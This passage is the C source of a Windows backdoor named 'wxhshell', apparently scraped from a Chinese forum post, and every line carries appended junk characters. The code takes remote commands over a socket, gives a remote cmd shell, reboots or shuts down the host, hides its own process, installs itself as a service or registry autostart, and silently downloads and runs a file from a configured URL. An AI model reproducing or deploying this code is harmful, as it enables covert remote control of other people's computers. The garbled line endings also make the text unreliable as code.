  else { 6AV@O  
F#>?i}  
    switch(cmd[0]) { Cy-q9uTm  
  (dn(:<_$  
  // 帮助 YzJ\< tkp  
  case '?': { H)S" `j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V1 T?T9m  
    break; 5RCQ<1  
  } [<`K%1GQ  
  // 安装 :fz&)e9  
  case 'i': { G&$+8 r  
    if(Install()) 1Y!" C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"dX3jd  
    else m-9{@kgAM?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rZ5vey  
    break; >ly`1t1  
    } OEmz`JJ67  
  // 卸载  Ht| No  
  case 'r': { vHSX3\(  
    if(Uninstall()) /T&z :st0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Ou;MU*v  
    else !i=LQUi.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; mnV)8:F  
    break; A.tONPi  
    } I@IZ1 /J,r  
  // 显示 wxhshell 所在路径 _1jd{? kt  
  case 'p': { 1H sfCky{  
    char svExeFile[MAX_PATH]; ^]:w5\DG  
    strcpy(svExeFile,"\n\r"); KPO?eeT.WZ  
      strcat(svExeFile,ExeFile); 1Q1NircJ  
        send(wsh,svExeFile,strlen(svExeFile),0); (#x <qi,T  
    break; EfHo1Yn&  
    } <y#-I%ed  
  // 重启 ParOWs~W/  
  case 'b': { :L gFd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s&:LY"[`  
    if(Boot(REBOOT)) B1dVHz#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }= OI (Wy  
    else { 6UK{0\0  
    closesocket(wsh); _h|rH   
    ExitThread(0); v5 STe`  
    } qW*JB4`?a  
    break; ?blF6Kl$  
    } hu}`,2  
  // 关机 ~\_aT2j0  
  case 'd': { 7PQ03dtfg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +vOlA#t%Z  
    if(Boot(SHUTDOWN)) |iN!V3#S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hTgWqp  
    else { PwP;+R};|  
    closesocket(wsh); :pj 00  
    ExitThread(0); I&JVY8'  
    } >iD&n4TK  
    break; egQB!%D  
    } W4n;U-Hb  
  // 获取shell {A2EGUmF2  
  case 's': { Bk,:a,  
    CmdShell(wsh); Co[fq3iX#  
    closesocket(wsh); "f^s*I  
    ExitThread(0); -*xm<R],  
    break; HKu? J  
  } f Z8%Z   
  // 退出 ' >a(|  
  case 'x': { { FVLH:{U^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }diB  
    CloseIt(wsh); n0|oV(0FE  
    break; \Tf[% Kt x  
    } ~)>O=nR  
  // 离开 #oBMA  
  case 'q': { DUBEh@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZH'- >/  
    closesocket(wsh); ?,G CR1|4  
    WSACleanup(); HJ4T! `'d  
    exit(1); ^s*j<fH  
    break; *12,MO>go  
        } -|E|-'  
  } R^8L^8EL  
  } D7q%rO|F'  
lmmB=F  
  // 提示信息 >6fc` 3*!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }:JE*D|  
} \XDc{c]  
  } Axb,{X[6g  
R9=K/  
  return; 0\fV'JDOR  
} :[icd2JCw]  
,w>WuRN"  
// shell模块句柄 mqw5\7s?  
int CmdShell(SOCKET sock) 2.''Nt6|  
{ fL^+Qb}  
STARTUPINFO si;  pkWJb!  
ZeroMemory(&si,sizeof(si)); :r5DR`Rfm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K@uUe3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {NmpTb  
PROCESS_INFORMATION ProcessInfo; s?qRy 2  
char cmdline[]="cmd"; xd[GJ;xvs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %x$1g)  
  return 0; "ecG\}R=  
} oWCy%76@  
h7],/? s  
// 自身启动模式 }^T7S2_Qy  
int StartFromService(void) |>w>}w`~  
{ 3O{*~D&n  
typedef struct Vz=ByyC  
{ SZ/}2_;  
  DWORD ExitStatus; )C?bb$  G  
  DWORD PebBaseAddress; h8R3N?S3#  
  DWORD AffinityMask; %BdQ.\4DS  
  DWORD BasePriority; DV={bcQ  
  ULONG UniqueProcessId; *,C[yg1P  
  ULONG InheritedFromUniqueProcessId; G8]DK3#  
}   PROCESS_BASIC_INFORMATION; $f++n5I  
JCL+uEX4S  
PROCNTQSIP NtQueryInformationProcess; qN5 ru2  
, `4chD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jO` b&]0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1 _A B; ^  
G9`;Z^<L  
  HANDLE             hProcess; M4%u~Z:4h+  
  PROCESS_BASIC_INFORMATION pbi; ;m/h?Y~  
Z%h _g-C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hDO\Q7  
  if(NULL == hInst ) return 0; uL\b*rI  
|@84l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }OQaQf9V{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |E%i t?3M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0 _!')+  
vb o| q[z  
  if (!NtQueryInformationProcess) return 0; K;:_UJ>t  
e8WuAI86  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M2pe*z  
  if(!hProcess) return 0; > whcZ.8  
GnX+.uQL|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }9Th`   
J AQ y  
  CloseHandle(hProcess); e;|:W A  
3"*tP+H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &:>3tFQSH  
if(hProcess==NULL) return 0; @r.w+E=  
Nldy76|g  
HMODULE hMod; Z<yLu'48)A  
char procName[255]; '-,$@l#  
unsigned long cbNeeded; Mr0<b?I  
m{ wk0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EJCf[#Sf  
8Q{"W"]O7  
  CloseHandle(hProcess); 7J[DD5  
6>yfm4o  
if(strstr(procName,"services")) return 1; // 以服务启动 `{Jo>L .  
*(,zPn,  
  return 0; // 注册表启动 ]ZMFK>"^%  
} [$Dzf<0  
V 6*ohC:  
// 主模块 <Jf[N=  
int StartWxhshell(LPSTR lpCmdLine) r6b;v2!8  
{ f`gs/R  
  SOCKET wsl; @W1F4HYds  
BOOL val=TRUE; n9%&HDl4  
  int port=0; t@;r~S b  
  struct sockaddr_in door; svaclkT=  
LmZ"_  
  if(wscfg.ws_autoins) Install(); Y'{F^VxA/  
=pCO1<wR  
port=atoi(lpCmdLine); m-HL7&iG$  
m ]h<y  
if(port<=0) port=wscfg.ws_port; 6IPQ}/l  
(a9>gLI0  
  WSADATA data; A<U9$"j9J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4Zn"K}q  
Mb^E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,J4rKGG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _C%:AFPP>  
  door.sin_family = AF_INET; c+:XaDS-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )ppIO"\  
  door.sin_port = htons(port); c-y`Hm2"  
'@{Mq%`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k d9<&.y{  
closesocket(wsl); fZtuP1- 4  
return 1; #]kO/Mr  
} R_zQiSwG<  
h]jy):9L  
  if(listen(wsl,2) == INVALID_SOCKET) { a;h.I}*]  
closesocket(wsl); ZnAXb S  
return 1; wj{[g^y%  
} >+FaPym  
  Wxhshell(wsl); di4>Ir~]  
  WSACleanup(); M(Tlkr  
61~7 L^882  
return 0; >X_5o^s2s  
=#>F' A  
} }{S+C[:_  
h0aK}`/a  
// 以NT服务方式启动 p9-s'F|@i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rQsYt/  
{ eUVhNg  
DWORD   status = 0; 63fg l+  
  DWORD   specificError = 0xfffffff; $.F.xYS9IJ  
J|aU}Z8m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *hIjVKTu79  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5L y Wg2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v+vM:At4  
  serviceStatus.dwWin32ExitCode     = 0; ku5vaP(  
  serviceStatus.dwServiceSpecificExitCode = 0; sKwUY{u\M  
  serviceStatus.dwCheckPoint       = 0; $1uT`>%  
  serviceStatus.dwWaitHint       = 0; HZ[.,DuW  
K"/3/`T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +GvPJI  
  if (hServiceStatusHandle==0) return; x(+H1D\W   
XI\P#"  
status = GetLastError(); >e^^YR^  
  if (status!=NO_ERROR) 'w8p[h (,  
{ VCX^D)[-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y[rRz6.*(  
    serviceStatus.dwCheckPoint       = 0; f;=<$Y>i  
    serviceStatus.dwWaitHint       = 0; ,92wW&2  
    serviceStatus.dwWin32ExitCode     = status; ]ne  
    serviceStatus.dwServiceSpecificExitCode = specificError; isU4D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *6aIDFNl  
    return; \P;2s<6i\  
  } jdX *  
)wNcz~ Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (3?W) i  
  serviceStatus.dwCheckPoint       = 0; n.7-$1  
  serviceStatus.dwWaitHint       = 0; &&ZX<wOM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dCA! R"HD  
} )Ah7  
dUH+7.\  
// 处理NT服务事件,比如:启动、停止 a];1)zVA6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -<l2 $&KS  
{ D@)L?AB1f  
switch(fdwControl) 2QgD<  
{ r1BL?&X-  
case SERVICE_CONTROL_STOP: J,*+Ak ~  
  serviceStatus.dwWin32ExitCode = 0; dC>(UDC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d*_rJE}B  
  serviceStatus.dwCheckPoint   = 0; tu's]3RE  
  serviceStatus.dwWaitHint     = 0; .Vrl:  
  { snYyxi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ot{~mMDp  
  } @a i2A|  
  return; gKP=@v%-  
case SERVICE_CONTROL_PAUSE: "j8`)XXa(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3qkPe_<I  
  break; bT^(D^  
case SERVICE_CONTROL_CONTINUE: #$;}-*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pq, iR J  
  break; !j/54,  
case SERVICE_CONTROL_INTERROGATE: "(mF5BE-E  
  break; mNOx e  
}; M<r]a{Yv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); av bup  
} *|ef#-|D  
3e9UDN2  
// 标准应用程序主函数 ar _@"+tZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _UV_n!R  
{ (9{qT>eJg=  
WWTRB +1>  
// 获取操作系统版本 >T)tAZ?WK  
OsIsNt=GetOsVer(); 9)>+r6t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qJE_4/<^!  
bg5i+a,?  
  // 从命令行安装 WmkCV+thA  
  if(strpbrk(lpCmdLine,"iI")) Install(); A b+qLh&?  
1a mEQ  
  // 下载执行文件 ,H_d#Koa.  
if(wscfg.ws_downexe) { \Hw*q|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MDBqIL]Hc  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5,+fM6^V  
} xXfv({  
4";NT;_q5  
if(!OsIsNt) { sL,|+>7T^M  
// 如果时win9x,隐藏进程并且设置为注册表启动 51-'*Y  
HideProc(); ~14|y|\/  
StartWxhshell(lpCmdLine); p W@Yr  
} [hV}$0#E[O  
else ]WK~`-3C^  
  if(StartFromService()) ZYt1V"2VJ  
  // 以服务方式启动 WD1>{TSn  
  StartServiceCtrlDispatcher(DispatchTable); 1'P4{T0 [  
else E;, __  
  // 普通方式启动 T[<554  
  StartWxhshell(lpCmdLine); T-h[$fxR_  
+F.@n_}p-I  
return 0; SLNq%7apx  
}
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只看该作者 1 发表于: 2006-10-10
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